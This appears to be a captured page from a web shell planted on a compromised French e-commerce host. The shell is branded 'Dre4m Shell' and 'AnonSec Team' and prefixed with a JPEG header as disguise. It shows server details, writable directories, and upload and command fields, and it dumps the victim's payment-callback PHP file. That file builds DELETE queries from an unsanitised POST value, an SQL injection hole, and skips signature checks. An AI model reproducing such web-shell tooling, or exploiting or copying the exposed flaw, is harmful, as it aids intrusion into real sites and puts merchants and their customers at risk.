ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/computer3/fermegarat.com/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/computer3/fermegarat.com/includes/RetourInfos.php
version=2 
cdr=0
<?php
//require('../libs/Smarty.class.php');
//$smarty = new Smarty;
require('../fonctions.php');
$code_retour=$_POST['code-retour'];
 $MAC=$_POST['MAC'];
$TPE=$_POST['TPE'];
$montant=$_POST['montant'];
$montantestime=$_POST['montantestime'];
$reference=$_POST['reference'];  
$texte_libre=$_POST['texte-libre'];
$date=$_POST['date'];
$cvx=$_POST['cvx'];   //Crypto
$vld=$_POST['vld'];   //validite date carte
$brand=$_POST['brand'];   //code reseau carte
$numauto=$_POST['numauto'];   //autorisation bq
$authentification=$_POST['authentification'];   //autent
$usage=$_POST['usage'];   //type carte
$typecompte=$_POST['typecompte'];   //compte carte
$escard=$_POST['escard'];   
$motifrefus=$_POST['motifrefus'];   
$originecb=$_POST['originecb'];   
$bincb=$_POST['bincb'];   
$hpancb=$_POST['hpancb'];   
$ipclient=$_POST['ipclient'];   
$montantech=$_POST['montantech'];   
$numero_dossier=$_POST['numero-dossier'];   
$escard=$_POST['escard'];   
if (!empty($reference)) {
  if (($code_retour =='payetest') || ($code_retour =='paiement')) {    
	$sql = $GLOBALS['bdd']->prepare('INSERT INTO order_status(id_order, date_status, status)
		VALUES (:order, :date_status, :status)');
	$sql->execute(array('order' => $reference,
						'date_status' => date('Y-m-d H:i:s'),
						'status' => 1));                        
 } 
 else if ($code_retour =='annulation') {     // efface la commande
    $bdd->exec("DELETE FROM orders WHERE id = " . $reference."");
    $bdd->exec("DELETE FROM orders_products WHERE id_order = " . $reference."");
    $bdd->exec("DELETE FROM order_status WHERE id_order = " . $reference."");    
 } 
  else {
 } 
 }
   else  { 
   }
?>

Anon7 - 2022
AnonSec Team